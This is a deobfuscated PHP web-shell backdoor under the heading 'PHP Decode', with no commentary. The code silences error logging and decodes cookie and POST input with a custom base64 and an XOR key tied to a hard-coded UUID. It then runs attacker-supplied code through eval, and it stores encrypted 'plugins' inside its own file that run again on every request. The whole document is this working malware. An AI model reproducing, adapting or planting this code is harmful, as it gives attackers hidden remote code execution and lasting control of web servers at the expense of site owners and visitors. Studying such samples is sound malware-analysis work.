PHP Decode

<?php 
if (!defined('stream_context_create ')) 
{ 
    define('stream_context_create ', 1); 
    @ini_set('error_log', NULL); 
    @ini_set('log_errors', 0); 
    @ini_set('max_execution_time', 0); 
    @error_reporting(0); 
    @set_time_limit(0); 
    if (!defined("PHP_EOL")) 
    { 
        define("PHP_EOL", "
"); 
    } 
    if (!defined('file_put_contents ')) 
    { 
        define('file_put_contents ', 1); 
        $cwxliy = 'a64ea8ac-0cfb-46c4-837a-3ac91586018c'; 
        global $cwxliy; 
        function krzhxsde($zsmijyqa) 
        { 
            if (strlen($zsmijyqa) < 4) 
            { 
                return ""; 
            } 
            $unaemq = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; 
            $ajsbrnv = str_split($unaemq); 
            $ajsbrnv = array_flip($ajsbrnv); 
            $pgrszszz = 0; 
            $boxfvcgx = ""; 
            $zsmijyqa = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $zsmijyqa); 
            do 
            { 
                $uvxwpxxn = $ajsbrnv[$zsmijyqa[$pgrszszz++]]; 
                $gjvpowj = $ajsbrnv[$zsmijyqa[$pgrszszz++]]; 
                $cpunlqjagmtgh = $ajsbrnv[$zsmijyqa[$pgrszszz++]]; 
                $kmvkmx = $ajsbrnv[$zsmijyqa[$pgrszszz++]]; 
                $mkttij = ($uvxwpxxn << 2) | ($gjvpowj >> 4); 
                $ptxtneujdxfoahc = (($gjvpowj & 15) << 4) | ($cpunlqjagmtgh >> 2); 
                $ggspkyuq = (($cpunlqjagmtgh & 3) << 6) | $kmvkmx; 
                $boxfvcgx = $boxfvcgx . chr($mkttij); 
                if ($cpunlqjagmtgh != 64) 
                { 
                    $boxfvcgx = $boxfvcgx . chr($ptxtneujdxfoahc); 
                } 
                if ($kmvkmx != 64) 
                { 
                    $boxfvcgx = $boxfvcgx . chr($ggspkyuq); 
                } 
            } 
            while ($pgrszszz < strlen($zsmijyqa)); 
            return $boxfvcgx; 
        } 
        if (!function_exists('file_put_contents')) 
        { 
            function file_put_contents($pnqnwlb, $ptxtneuj, $pnqnwlbnfpgq = False) 
            { 
                $taahctnp = $pnqnwlbnfpgq == 8 ? 'a' : 'w'; 
                $eagbhc = @fopen($pnqnwlb, $taahctnp); 
                if ($eagbhc === False) 
                { 
                    return 0; 
                } 
                else 
                { 
                    if (is_array($ptxtneuj)) $ptxtneuj = implode($ptxtneuj); 
                    $ybgditg = fwrite($eagbhc, $ptxtneuj); 
                    fclose($eagbhc); 
                    return $ybgditg; 
                } 
            } 
        } 
        if (!function_exists('file_get_contents')) 
        { 
            function file_get_contents($eypmpw) 
            { 
                $vbihgxob = fopen($eypmpw, "r"); 
                $pgrszszzbpkjpg = fread($vbihgxob, filesize($eypmpw)); 
                fclose($vbihgxob); 
                return $pgrszszzbpkjpg; 
            } 
        } 
        function xzxmplmu() 
        { 
            return trim(preg_replace("/\(.*\$/", '', __FILE__)); 
        } 
        function ynvlrnvq($vonloitf, $oshigke) 
        { 
            $pnqnwlbqltmmpl = ""; 
            for ($pgrszszz = 0;$pgrszszz < strlen($vonloitf);) 
            { 
                for ($cpunlqja = 0;$cpunlqja < strlen($oshigke) && $pgrszszz < strlen($vonloitf);$cpunlqja++, $pgrszszz++) 
                { 
                    $pnqnwlbqltmmpl .= chr(ord($vonloitf[$pgrszszz]) ^ ord($oshigke[$cpunlqja])); 
                } 
            } 
            return $pnqnwlbqltmmpl; 
        } 
        function tatsqii($vonloitf, $oshigke) 
        { 
            global $cwxliy; 
            return ynvlrnvq(ynvlrnvq($vonloitf, $oshigke) , $cwxliy); 
        } 
        function dvtefyql($vonloitf, $oshigke) 
        { 
            global $cwxliy; 
            return ynvlrnvq(ynvlrnvq($vonloitf, $cwxliy) , $oshigke); 
        } 
        function yfjpau() 
        { 
            $awculef = @file_get_contents(xzxmplmu()); 
            $shcxcgj = strpos($awculef, md5(xzxmplmu())); 
            if ($shcxcgj !== false) 
            { 
                $oegwkk = substr($awculef, $shcxcgj + 32); 
                $llcqiqd = @unserialize(tatsqii(rawurldecode($oegwkk) , md5(xzxmplmu()))); 
            } 
            else 
            { 
                $llcqiqd = Array(); 
            } 
            return $llcqiqd; 
        } 
        function durbdw($llcqiqd) 
        { 
            $mbgfjp = rawurlencode(dvtefyql(@serialize($llcqiqd) , md5(xzxmplmu()))); 
            $awculef = @file_get_contents(xzxmplmu()); 
            $shcxcgj = strpos($awculef, md5(xzxmplmu())); 
            if ($shcxcgj !== false) 
            { 
                $pnqnwlbrglhkfa = substr($awculef, $shcxcgj + 32); 
                $awculef = str_replace($pnqnwlbrglhkfa, $mbgfjp, $awculef); 
            } 
            else 
            { 
                $awculef = $awculef . "

//" . md5(xzxmplmu()) . $mbgfjp; 
            } 
            @file_put_contents(xzxmplmu() , $awculef); 
        } 
        function zfocndg($cpunlqjaodjzxu, $giukhfal) 
        { 
            $llcqiqd = yfjpau(); 
            $llcqiqd[$cpunlqjaodjzxu] = krzhxsde($giukhfal); 
            durbdw($llcqiqd); 
        } 
        function xepwadx($cpunlqjaodjzxu) 
        { 
            $llcqiqd = yfjpau(); 
            unset($llcqiqd[$cpunlqjaodjzxu]); 
            durbdw($llcqiqd); 
        } 
        function iwtmthkd($cpunlqjaodjzxu = NULL) 
        { 
            foreach (yfjpau() as $eagbhcwickso => $vptejto) 
            { 
                if ($cpunlqjaodjzxu) 
                { 
                    if (strcmp($cpunlqjaodjzxu, $eagbhcwickso) == 0) 
                    { 
                        eval($vptejto); 
                        break; 
                    } 
                } 
                else 
                { 
                    eval($vptejto); 
                } 
            } 
        } 
        foreach (array_merge($_COOKIE, $_POST) as $qemovvet => $vonloitf) 
        { 
            $vonloitf = @unserialize(tatsqii(krzhxsde($vonloitf) , $qemovvet)); 
            if (isset($vonloitf['ak']) && $cwxliy == $vonloitf['ak']) 
            { 
                if ($vonloitf['a'] == 'i') 
                { 
                    $pgrszszz = Array( 
                        'pv' => @phpversion() , 
                        'sv' => '2.0-1', 
                        'ak' => $vonloitf['ak'], 
                    ); 
                    echo @serialize($pgrszszz); 
                    exit; 
                } 
                elseif ($vonloitf['a'] == 'e') 
                { 
                    eval($vonloitf['d']); 
                } 
                elseif ($vonloitf['a'] == 'plugin') 
                { 
                    if ($vonloitf['sa'] == 'add') 
                    { 
                        zfocndg($vonloitf['p'], $vonloitf['d']); 
                    } 
                    elseif ($vonloitf['sa'] == 'rem') 
                    { 
                        xepwadx($vonloitf['p']); 
                    } 
                } 
                echo $vonloitf['ak']; 
                exit(); 
            } 
        } 
        iwtmthkd(); 
    } 
} >  
 ?>